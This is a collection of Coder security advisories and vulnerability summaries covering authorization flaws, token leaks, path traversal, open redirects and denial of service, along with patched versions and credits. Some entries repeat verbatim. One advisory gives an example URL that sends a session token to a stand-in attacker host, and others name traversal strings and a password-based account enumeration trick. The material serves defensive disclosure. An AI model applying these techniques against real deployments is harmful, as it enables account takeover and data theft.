The web dashboard in Coder 2.24.0 before 2.29.23, 2.30.0 before 2.34.14, 2.35.0 before 2.36.9, 2.37.0 before 2.37.6, and 2.38.0 before 2.38.2 replaces the $SESSIONTOKEN placeholder in external app URLs with a full-access API key without checking whether the app belongs to a sub-agent. Code running in a workspace can register a disguised sub-agent app with a custom protocol URL, so the owner's click sends their API key to an attacker-chosen destination.

Coder 2.26.0 before 2.29.24, 2.30.0 before 2.34.16, 2.35.0 before 2.36.11, 2.37.0 before 2.37.8, and 2.38.0 before 2.38.4 contains an improper authorization flaw in the external agent credentials endpoint, which returns the workspace agent token to users with only workspace read access rather than ssh permission. Authenticated users with roles such as Template Admin or Organization Admin can use the token to read the owner's private Git SSH key and Git provider OAuth tokens, and impersonate the agent to receive the owner's sessions.

Coder 2.28.0 before 2.29.24, 2.30.0 before 2.34.16, 2.35.0 before 2.36.11, 2.37.0 before 2.37.8, and 2.38.0 before 2.38.4 does not restrict new API keys to the creating token's scopes, allow list, or expiry. A scoped API key or OAuth2 token holding key-creation permission can call POST /api/v2/users/{user}/keys/tokens to mint longer-lived coder:all keys, gaining the user's full privileges.

Coder 2.21.0 before 2.29.24, 2.30.0 before 2.34.16, 2.35.0 before 2.36.11, 2.37.0 before 2.37.8, and 2.38.0 before 2.38.4 reads Web Push endpoint responses in webpushSend with io.ReadAll, without a size limit or client timeout. Any authenticated user can register a subscription via POST /api/v2/users/{user}/webpush/subscription pointing to a server returning an endless body, exhausting coderd memory and crashing the API, dashboard, and workspace connections.

Coder 2.28.0 before 2.29.22, 2.30.0 before 2.34.13, 2.35.0 before 2.35.10, 2.36.0 before 2.36.8, 2.37.0 before 2.37.5, and 2.38.0 before 2.38.1 contains a path traversal vulnerability in the AI Gateway passthrough router, which forwards percent-encoded dot segments upstream without rejecting them. Authenticated users can send paths such as %2e%2e or ..%2F under allowlisted prefixes to reach unintended provider endpoints using the deployment's centrally managed provider key.

Coder 2.28.0 before 2.29.22, 2.30.0 before 2.34.13, 2.35.0 before 2.35.10, 2.36.0 before 2.36.8, 2.37.0 before 2.37.5, and 2.38.0 before 2.38.1 contains a path traversal vulnerability in the AI Gateway passthrough router, which forwards percent-encoded dot segments upstream without rejecting them. Authenticated users can send paths such as %2e%2e or ..%2F under allowlisted prefixes to reach unintended provider endpoints using the deployment's centrally managed provider key.

Coder before 2.29.21, 2.30.0 before 2.34.12, 2.35.0 before 2.35.9, 2.36.0 before 2.36.7, and 2.37.0 before 2.37.4 does not validate the audience claim of GCE instance-identity JWTs at the POST /api/v2/workspaceagents/google-instance-identity endpoint. Attackers who obtain an unexpired format=full identity token minted for another relying party can replay it to obtain that workspace agent's session token, which remains valid until the workspace's next build.

Coder before 2.34.7 contains an IP spoofing vulnerability in the ExtractRealIPAddress middleware that trusts the leftmost, client-supplied X-Forwarded-For value instead of the client IP appended by a reverse proxy. Attackers can send forged X-Forwarded-For values through appending proxies to bypass per-IP rate limits on login, one-time passcode, and password validation endpoints, enabling brute-force attacks, and to falsify IP addresses recorded in audit logs.

Coder before 2.29.17, 2.30.0 before 2.32.7, 2.33.0 before 2.33.8, and 2.34.0 before 2.34.2 contains a user enumeration vulnerability because userpassword.Compare() substitutes a placeholder hash derived from the string "hunter2" when a stored password hash is empty. Unauthenticated attackers can submit logins with the password "hunter2" and distinguish HTTP 403 from 401 responses to enumerate valid accounts and reveal the authentication provider of SSO-only users.

Coder from 2.0.0 before 2.34.8 contains an open redirect vulnerability in handleAPIKeySmuggling that allows attackers to redirect users externally via unsanitized r.URL.Path values. Attackers can craft links on trusted workspace app subdomains with paths beginning with double slashes, which become scheme-relative redirects to attacker sites for phishing.

Coder before 2.29.17, 2.30.0 before 2.32.7, 2.33.0 before 2.33.8, and 2.34.0 before 2.34.2 contains a stored HTML injection vulnerability because the ApplicationName and LogoURL appearance settings are rendered into HTML output without sufficient escaping. Attackers with the Owner role can store HTML markup in these settings that renders in the Coder dashboard and in SMTP notification emails sent to other deployment users.

Coder before 2.29.17, 2.30.0 before 2.32.7, 2.33.0 before 2.33.8, and 2.34.0 before 2.34.2 contains a stored HTML injection vulnerability because the ApplicationName and LogoURL appearance settings are rendered into HTML output without sufficient escaping. Attackers with the Owner role can store HTML markup in these settings that renders in the Coder dashboard and in SMTP notification emails sent to other deployment users.

Coder from 2.26.0 before 2.34.8 contains an incorrect authorization flaw in the GET /api/v2/workspaces/{id}/acl endpoint, which checks only workspace read access and then fetches group members using an elevated system context. Authenticated users granted workspace use access can query the endpoint to harvest group members' emails, login types, status, and last-seen and creation timestamps.

Coder from 2.30.0 before 2.34.8 contains an authorization bypass vulnerability in the provisioner daemon DownloadFile gRPC handler that allows authenticated provisioner daemons to download other organizations' cached Terraform module archives. Attackers with an org-scoped provisioner key and a known file UUID can retrieve module source code exposing infrastructure topology or embedded secrets.

Coder from 2.0.0 before 2.34.8 contains an incorrect authorization vulnerability in the aclallow rule of coderd/rbac/policy.rego, which does not verify organization membership for per-user ACL entries, and organization member removal does not scrub those entries. Authenticated users removed from an organization can keep accessing previously granted org-scoped resources such as templates and workspaces via the API.

Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose SIMILAR TO pattern performs a prefix match, so any domain that is a string prefix of a workspace-proxy access URL is trusted as a proxy. Attackers owning such a domain can lure an authenticated victim to a crafted /api/v2/applications/auth-redirect link, capture the redirected applicationconnect API key, and replay it to access the victim's workspace apps.

Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose SIMILAR TO pattern performs a prefix match, so any domain that is a string prefix of a workspace-proxy access URL is trusted as a proxy. Attackers owning such a domain can lure an authenticated victim to a crafted /api/v2/applications/auth-redirect link, capture the redirected applicationconnect API key, and replay it to access the victim's workspace apps.

Coder from 2.10.0 before 2.34.8 has an unauthenticated agent debug HTTP server on 127.0.0.1:2113 whose /debug/manifest handler returns the full agent manifest, including template-provided environment variable values. A lower-privileged Unix user or process in the same workspace can query this endpoint to read credentials such as cloud keys or registry tokens.

Coder 2.3.1 before 2.14.4, 2.15.x before 2.15.3, and 2.16.0 before 2.16.1 contains an open redirect vulnerability in the login page because the redirect query parameter is improperly sanitized. Attackers can craft a Coder login URL that, when clicked by a logged-in user, redirects the victim to an attacker-controlled website for phishing.

Coder before 2.23.0 contains a session expiration bypass vulnerability that allows authenticated users to retain access after OIDC token expiry when no refresh token is issued. Users can keep their APIKey cookie active through regular use, extending it every 24 hours to access Coder indefinitely after losing OIDC authorization.

Coder 2.3.1 before 2.14.4, 2.15.x before 2.15.3, and 2.16.0 before 2.16.1 contains an open redirect vulnerability in the login page because the redirect query parameter is improperly sanitized. Attackers can craft a Coder login URL that, when clicked by a logged-in user, redirects the victim to an attacker-controlled website for phishing.

Coder allows organizations to provision remote development environments via Terraform. Prior to 2.29.19, 2.32.9, 2.33.10, and 2.34.4, agentConn.apiClient() follows redirects while its custom transport accepts the host from the redirected request URL when the port is the workspace agent HTTP API port 4. An authenticated user who controls a modified workspace agent and knows another online agent's UUID can derive the victim's tailnet address and redirect control-plane requests to that agent. HTTP 301, 302, and 303 redirects can redirect read requests, while HTTP 307 and 308 preserve replayable write and process-start requests. The redirected workspace agent file APIs can read or write files as the victim workspace user, and affected versions exposing the workspace agent process API can execute commands after a redirected file write, crossing workspace and tenant boundaries. This issue is fixed in versions 2.29.19, 2.32.9, 2.33.10, and 2.34.4.

Summary

Coder's subdomain-based workspace app proxy allowed the same-owner CORS check to be bypassed. When a workspace-name subdomain segment parsed as a UUID, the workspace was resolved by ID without confirming the URL's username matched the real owner, while the CORS middleware trusted the unverified username in the hostname.

Note: Practical exploitation requires subdomain app routing (wildcard hostname) enabled and a victim who visits the attacker's crafted app URL while authenticated.

Impact

An authenticated user could craft a subdomain encoding their own workspace UUID and a victim's username. If the victim visited the attacker's URL, the attacker's JavaScript could issue credentialed cross-origin fetch() requests to the victim's workspace apps and read the responses, exfiltrating data accessible through those apps.

Patches

The fix validates the subdomain username against the resolved workspace's actual owner and bases the same-owner CORS decision on the authoritative owner identity.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

None.

Resources

- Fix: #26086, #26085

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22434) for independently disclosing this issue!

Summary

The AgentLogLine dashboard component instantiated ansi-to-html without escapeXML: true and inserted the result via dangerouslySetInnerHTML so HTML embedded in workspace agent log lines was rendered as live markup. Server-side sanitization did not neutralize HTML metacharacters.

Note: Exploitation requires a victim to view attacker-controlled agent logs in the dashboard.

Impact

A user who could run a workspace could emit arbitrary HTML into agent logs; when another user, including an administrator, viewed the workspace page, it rendered in their session. Content Security Policy blocked inline scripts but an attacker could still inject a meta refresh redirect, style rules for UI redressing or CSS-based exfiltration or external img beacons. This required workspace-owner access and a victim viewing the page.

Patches

The fix enables escapeXML: true so HTML metacharacters are escaped before DOM insertion.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

None.

Resources

- Fix: #25808

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22449) for independently disclosing this issue!

Summary

The AI Bridge Proxy (aibridgeproxyd) created a goproxy server whose default transport set InsecureSkipVerify: true and only assigned a secure transport when an upstream proxy was configured. In the default configuration (no upstream proxy), outbound HTTPS to the Coder access URL accepted any TLS certificate.

Note: Practical exploitation requires an on-path (man-in-the-middle) position between the AI Bridge Proxy and the Coder server. Deployments where they are co-located over loopback are effectively unaffected.

Impact

An attacker positioned between the proxy and the Coder server, via ARP spoofing, DNS poisoning or control of proxy environment variables, could intercept injected Coder session tokens, user-supplied provider API keys (BYOK) and full request and response bodies including prompts and completions. The default transport also honored HTTPPROXY and HTTPSPROXY, allowing environment-based traffic redirection.

Patches

The fix applies the secure transport (TLS 1.2 or higher using system root CAs) unconditionally. The AI Bridge Proxy was introduced in v2.30.0. Earlier release lines including the v2.29 ESR line are not affected.

The fix is available in the following releases:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 |

Workarounds

Ensure the Coder access URL uses a trusted certificate and secure the network path between the AI Bridge Proxy and the Coder server (for example, loopback or mTLS).

Resources

- Fix: #26131

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22455) for independently disclosing this issue!

Summary

AI Bridge proxy endpoints authenticate via Server.IsAuthorized in coderd/aibridgedserver, which validates key format, expiry, secret and deleted or system users but does not check whether the account is suspended. Because suspension does not revoke existing API keys, a suspended user's unexpired token keeps working.

Note: Practical impact is limited to already-issued API keys of suspended users until those keys are deleted.

Impact

A suspended user with a previously issued long-lived token could continue calling AI Bridge LLM proxy endpoints, consuming paid provider resources billed to the deployment and, if injected MCP tools are enabled, invoking those tools. Access persists until the token expires, which may be months after suspension.

Patches

The fix makes AI Bridge authorization reject non-active users like the standard API key middleware. AI Bridge was introduced in v2.30.0. The v2.29 ESR line is not affected.

The fix is available in the following releases:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 |

Workarounds

On suspension, delete the user's API keys via DELETE /api/v2/users/{user}/keys.

Resources

- Fix: #26173

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22446) for independently disclosing this issue!

Summary

AI Bridge provider handlers read request bodies with io.ReadAll without a maximum size so an authenticated user with AI Bridge access could send an arbitrarily large body and exhaust memory.

Note: Exploitation requires authenticated access to the AI Bridge endpoints and the impact is limited to availability (denial of service).

Impact

An authenticated member-level user could POST a very large or chunked body to an AI Bridge provider endpoint such as /api/v2/aibridge/anthropic/v1/messages, growing heap memory until the operating system terminates the process. Because AI Bridge runs in-process with coderd, this crashes the entire control plane, including the API, workspace coordinator and DERP relay. It requires an authenticated user and the AI Bridge feature enabled.

Patches

The fix applies http.MaxBytesReader or an equivalent cap before reading provider and session request bodies. The affected AI Bridge provider endpoints exist only on the v2.33 and v2.34 lines. Earlier release lines are not affected.

The fix is available in the following releases:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 |

Workarounds

None.

Resources

- Fix: #26164

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22443) for independently disclosing this issue!

Summary

The devcontainer recreate endpoint relied on route middleware that checked only ActionRead on the workspace and, unlike the sibling delete endpoint, performed no ActionUpdate check before triggering the destructive rebuild.

Note: Exploitation requires an existing low-privilege role with access to the target workspace.

Impact

Any authenticated principal with read-only workspace access, such as a Template Admin or Org Template Admin, could recreate a devcontainer, destroying uncommitted in-container state and, if called repeatedly, denying service. This is an authorization bypass leading to data loss and denial of service.

Patches

The fix adds an explicit ActionUpdate authorization check before the agent is dialed like the delete endpoint.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

None.

Resources

- Fix: #25812

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22454) for independently disclosing this issue!

Summary

The CreateSubAgent RPC did not validate a requested app sharing level against the template's MaxPortSharingLevel before persisting workspace apps, letting a workspace owner exceed the administrator's configured maximum.

Note: Exploitation requires the ability to register sub-agent apps in a workspace the attacker controls.

Impact

A workspace owner with an agent token could register a sub-agent app as PUBLIC even when the template's MaxPortSharingLevel was owner, exposing the app to unauthenticated users via the wildcard app domain. This affected only deployments using Enterprise port-sharing policy and wildcard app hostnames and required an authenticated workspace owner with an agent token.

Patches

The fix clamps the sub-agent app sharing level to the template's MaxPortSharingLevel.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Disable wildcard app hostnames (CODERWILDCARDACCESSURL) to block subdomain-based app routing.

Resources

- Fix: #26061

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22452) for independently disclosing this issue!

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSIONTOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSIONTOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSIONTOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

- Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!